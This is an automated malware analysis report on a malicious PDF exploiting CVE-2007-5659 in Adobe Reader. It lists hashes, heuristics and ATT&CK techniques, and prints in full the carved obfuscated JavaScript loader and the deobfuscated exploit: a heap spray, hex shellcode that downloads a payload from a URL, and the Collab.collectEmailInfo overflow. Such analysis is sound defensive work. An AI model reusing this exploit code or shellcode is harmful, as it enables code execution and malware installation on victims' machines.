Malicious PDF — malware analysis report

Static analysis result for SHA-256 7872f6b384d19668…

MALICIOUS

PDF

20.0 KB Created: 2012-11-03 07:12:35 +03:00 Authoring application: Adobe Acrobat 7.0 (via Adobe Acrobat 7.0 Image Conversion Plug-in) First seen: 2026-05-08
MD5: 512debc5c27b78d404dd3e201bdd323f SHA-1: 6508df56d705b6acc9b3d412713b391aa82a63d7 SHA-256: 7872f6b384d19668135d50a372823db0e5fb6d5a3b93e67c846ef021e27b4682
110 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF sample contains embedded JavaScript that leverages the 'Collab.collectEmailInfo' API to trigger CVE-2007-5659. The deobfuscated JavaScript indicates a heap spray technique and attempts to execute shellcode. The primary purpose appears to be the exploitation of this vulnerability to achieve code execution, likely for downloading further malicious content.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9977

Heuristics 5

  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0106_000.js pdf-javascript-stream PDF /JS object 106 at offset 0x4C65 1216 bytes
SHA-256: c3bc829b0f941a3ec8f60da354512a66f91e772eafda5f152c8623ca03bd685d
Preview script
First 1,000 lines of the extracted script
var regregr = ':ABCD'+'EFG';
var jyt5rurt = 'QRS'+'TU'+'VWXYZ{'+'}';
var sdfrg34g = '()['+']^abcde';
var jryy5ygrt = 'pqrstuvw';
var kuyryhrt = '45678';
var qasdzdf33few = '"=<>'+'&'+'\\';
function werfwsfr23r(ehr3r4wtg){
var yrtt54e4e="";
var gfdj45tyr="";var r3gferg = 13+22;
var fgh5ty4et=ytju6rtret.length;
for (var i = 0;i<ehr3r4wtg.length-1;i++)
{var cryptSymbol = ehr3r4wtg[i];
var erh35retge=ytju6rtret.indexOf(cryptSymbol)-r3gferg;
if (erh35retge<0){
var swrgwgreg = erh35retge+fgh5ty4et;
erh35retge=swrgwgreg;
}
gfdj45tyr=ytju6rtret.charAt(erh35retge);
yrtt54e4e += gfdj45tyr}
return yrtt54e4e;}
var ytu6uty = 'f'+'ghijklmno'+jryy5ygrt+'x'+'yz_'+'01'+'23'+kuyryhrt+'9/!%+-*.'+',;'+qasdzdf33few;
var sfdtr46r = jyt5rurt+' '+sdfrg34g+ytu6uty;
var wuihfuie = regregr +'HIJKLMNOP';
var rty45ty = wuihfuie+sfdtr46r;
var ytju6rtret =rty45ty;
var tr35te4ter=getField("WSWSWS");
var ert43te=tr35te4ter.value;
var gfh5t54er = werfwsfr23r(ert43te);
var fdj54ety = "hauaiyh9iryh98wyf98awyf89sdayfp89aewyf89wey9wev"+"alrgwrgqr3ewgergvaebgegaehergg";
var gawregrawgegegsadfwefsdvfaszvgzsdgbaeswrfhbefdbgedrfvgrewagv = fdj54ety.substr(45,4);
app[gawregrawgegegsadfwefsdvfaszvgzsdgbaeswrfhbefdbgedrfvgrewagv](gfh5t54er);
acroform_shifted_field_stage_000.js deobfuscated-js AcroForm field shifted-alphabet decoded (shift 35) at offset 0x4E2 2058 bytes
SHA-256: a69b23141bc7abc783a02a2436a044dedf39a62f4fbe48daec43fa4a3bd53c2d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function hex2bin(res) {var i;var g = Math.round(res.length/4);if (g != (res.length/4)) res = res + "00";var out = "";for (i=0; i<res.length; i+=4) {out = out + "%u" + res.substr(i+2,2) + res.substr(i,2);}return unescape(out);}function fix_it(yarsp, len){while(yarsp.length * 2 < len){yarsp += yarsp;}return yarsp.substring(0, len / 2);}function heapSpray(str){roteDak = str.length * 2;dakRote= "\u9090";spray = fix_it(dakRote, 0x2000 - roteDak);loxWhee = str + spray;loxWhee = fix_it(loxWhee, 524098);memory = new Array();for(i=0; i < 300; i++){memory[i] = loxWhee.substr(0,loxWhee.length - 1 ) + dakRote;}}function str_repeat ( input, cnt ) {var buf = "";for (i=0; i < cnt; i++){buf += input;}return buf;}function shellcode(loadUrl){var scode = "EB115B4B33C96681C9000480340BE4E2FAEB05E8EAFFFFFF0D5AE5E4E4D52D806F95D46F92E86F92F86F8AEC6FA2C46FD282DDACFC91166FA1D86FB0E19CE50E6F96C4E50AB6D52DADA549E50CD53FEB5AF4DC1690EC252FEAE537A40F15DFFB9103BE6F96C0E50A826FE8AA6F96F8E50A6FE06AE50C4FBFB727BB0C791B1B1B0C561B1B1B0C491B1B1B0C4C1B1B1B0C471B1B1B0C7A1B1B1B0C7D1B1B1B0C701B1B1B8C88D7D6E48C978C8188B01BB3186D210C9B1B1B1B0C9E1B1B1B8C8B8AE4E48C91968889B01BB3106D210C811B1B1B6723E0D52D6D01B1B5B58ECCB51BB314A1EB5AB1E4DC16911323A1E4B88997CA23A1E0819C81E46D01825FE0E482AF82671FE4EB602EE4E4E4D52DB5B5B1B3B51BB31C671CE491018EE08CE4F4E4E48CE4C4AAE48EE41BB3306D22D52DB58EB48EE7B5B58CE4E4E424B11BB33C6DA308B16D11D52D6D1C670CE0B5B48CC0F4E4E4B11B93081BB338E78B18679B18E491066D15ADA5DD0D90ECA564D5D7DD0D9117D52DB5B5B51B93081BB304D52D6D1C670CE0CD11B5B4B1B21B93081BB3001B93081BB30C825FE2E482AF82671FE490D6D52DB98EE1B5B5B1B5B51BB310671CC49A02D524D52DA4EB5AF0E3DC16911323E0E3C282D9D56DA8E3E0B5B5B5B3B51BB31CD52DB51BB3340C7E1A1B1B2593AE036E8B22F7066A9410EF5FD2F3953F0266F7186987975D31E51DF99B4DB8462C2FA0E27CA84A8287731B1B1B1B" +loadUrl + "E4";return scode;}var loadUrlAlsoXored = this.info.Title;var scode = shellcode(loadUrlAlsoXored);heapSpray(hex2bin(scode));var msg_bof = str_repeat( "\u0c0c\u0c0c" , 4096 );this.collabStore = Collab.collectEmailInfo({subj:"",msg:msg_bof}); \

Open this report in the interactive analyzer, or submit your own file for analysis.